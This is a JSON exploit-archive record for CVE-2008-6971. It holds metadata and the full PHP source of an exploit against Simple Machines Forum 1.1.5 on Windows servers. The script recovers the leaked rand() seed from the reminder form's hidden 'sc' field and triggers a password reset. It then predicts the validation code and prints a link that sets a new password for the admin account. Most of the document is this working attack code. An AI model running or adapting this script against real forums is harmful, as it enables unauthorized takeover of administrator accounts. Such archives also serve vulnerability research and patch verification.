{"exploit":{"id":"EDB-6392","name":"Simple Machines Forum (SMF) 1.1.5 (Windows x86) - Admin Reset Password","description":"Simple Machines Forum (SMF) 1.1.5 (Windows x86) - Admin Reset Password","cves":["CVE-2008-6971"],"author":"Raz0r","published":"2008-09-06","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6392","path":"exploits/php/webapps/6392.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6392.php","vulnerabilities":[{"id":"CVE-2008-6971","state":"PUBLISHED","title":null,"titleSource":null,"description":"The password reset functionality in Simple Machines Forum (SMF) 1.0.x before 1.0.14, 1.1.x before 1.1.6, and 2.0 before 2.0 beta 4 includes clues about the random number generator state within a hidden form field and generates predictable validation codes, which allows remote attackers to modify passwords of other users and gain privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6971","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6971"},"updatedAt":"2024-08-07T11:49:02.602Z","retrievedAt":"2026-11-27T00:11:34.738Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6392.png?v=2","url":"https://exploitbin.com/exploits/EDB-6392","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6392/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6392/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\necho \"---------------------------------------------------------------\\n\";\necho \"SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\\n\";\necho \"(c)oded by Raz0r (http://Raz0r.name/)\\n\";\necho \"---------------------------------------------------------------\\n\";\n\nif ($argc<3) {\n   echo \"USAGE:\\n\";\n   echo \"~~~~~~\\n\";\n   echo \"php {$argv[0]} [host] [path] OPTIONS\\n\\n\";\n   echo \"[host] - target server where SMF is installed\\n\";\n   echo \"[path] - path to SMF\\n\\n\";\n   echo \"OPTIONS:\\n\";\n   echo \"--userid=[value] (default: 1)\\n\";\n   echo \"--username=[value] (default: admin)\\n\";\n   echo \"examples:\\n\";\n   echo \"php {$argv[0]} site.com /forum/\\n\";\n   echo \"php {$argv[0]} site.com / --userid=2 --username=odmen\\n\";\n   die;\n}\n\n/**\n* Software site: http://www.simplemachines.org\n*\n* SMF leaks current state of random number generator through hidden input parameter `sc`\n* of the password reminder form:\n*\n* $_SESSION['rand_code'] = md5(session_id() . rand());\n* $sc = $_SESSION['rand_code'];\n*\n* Since max random number generated with rand() on win32 is 32767 and session id\n* is known an attacker can reverse the md5 hash and get the random number value.\n* On win32 every random number generated with rand() is used as a seed for the next\n* random number. So if SMF is installed on win32 platform an attacker can predict\n* all the next random numbers. When password reset is requested SMF uses rand()\n* function to generate validation code:\n*\n* $password = substr(preg_replace('/\\W/', '', md5(rand())), 0, 10);\n*\n* So prediction of the validation code is possible and an atacker can set his\n* own password for any user.\n*\n* More information about random number prediction:\n* http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/\n*\n* More information about the behaviour of rand() on win32 (in Russian):\n* http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/\n*/\n\nset_time_limit(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\",10);\n\n$host = $argv[1];\n$path = $argv[2];\n\nfor($i=3;$i<=$argc;$i++){\n   if(isset($argv[$i]) && strpos($argv[$i],\"--userid=\")!==false) {\n       list(,$userid) = explode(\"=\",$argv[$i]);\n   }\n   if (isset($argv[$i]) && strpos($argv[$i],\"--username=\")!==false) {\n       list(,$username) = explode(\"=\",$argv[$i]);\n   }\n}\n\nif(!isset($userid))$userid=\"1\";\nif(!isset($username))$username=\"admin\";\n\n$sess = md5(mt_rand());\necho \"[~] Connecting to $host ... \";\n$ock = fsockopen($host,80);\nif($ock) echo \"OK\\n\"; else die(\"failed\\n\");\n\n$packet = \"GET {$path}index.php?action=reminder HTTP/1.1\\r\\n\";\n$packet.= \"Host: {$host}\\r\\n\";\n$packet.= \"Cookie: PHPSESSID=$sess;\\r\\n\";\n$packet.= \"Keep-Alive: 300\\r\\n\";\n$packet.= \"Connection: keep-alive\\r\\n\\r\\n\";\n\nfputs($ock, $packet);\n\nwhile(!feof($ock)) {\n   $resp = fgets($ock);\n   preg_match('@name=\"sc\" value=\"([0-9a-f]+)\"@i',$resp,$out);\n   if(isset($out[1])) {\n       $md5 = $out[1];\n       break;\n   }\n}\n\nif($md5) {\n   $seed = getseed($md5);\n   if($seed) {\n       echo \"[+] Seed for next random number is $seed\\n\";\n   } else die(\"[-] Can't calculate seed\\n\");\n}\nelse die(\"[-] Random number hash not found\\n\");\n\nfunction getseed($md5) {\n   global $sess;\n   for($i=0;$i<=32767;$i++){\n       if($md5 == md5($sess . $i)) {\n           return $i;\n       }\n   }\n}\n\n$sc = md5($sess . $seed);\n$data   = \"user=\".urlencode($username).\"&sc=$sc\";\n$packet = \"POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\\r\\n\";\n$packet.= \"Host: {$host}\\r\\n\";\n$packet.= \"Cookie: PHPSESSID=$sess;\\r\\n\";\n$packet.= \"Connection: close\\r\\n\";\n$packet.= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n$packet.= \"Content-Length: \".strlen($data).\"\\r\\n\\r\\n\";\n$packet.= $data;\n\nfputs($ock, $packet);\n\n$resp='';\nwhile(!feof($ock)) {\n   $resp .= fgets($ock);\n}\n\nif(preg_match(\"@HTTP/1.(0|1) 200 OK@i\",$resp)===false) {\n   die(\"[-] An error ocurred while requesting validation code\\n\");\n}\n\nif(strpos($resp,\"javascript:history.go(-1)\")!==false) {\n   die(\"[-] Invalid username\\n\");\n}\n\nsrand($seed);\nfor($i=0;$i<6;$i++){\n   rand();\n}\n$password = substr(preg_replace('/\\W/', '', md5(rand())), 0, 10);\necho \"[+] Success! To set password visit this link:\\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\\n\";\n?>\n\n# milw0rm.com [2008-09-06]","sha256":"6de2ccec3254952febd2d282d9f44f6f2cd60f0f18dd63372024502cb07d111a","bytes":4259,"fetchedAt":"2026-11-27T00:11:32.918Z","encoding":"utf-8 (display only; download retains original bytes)"}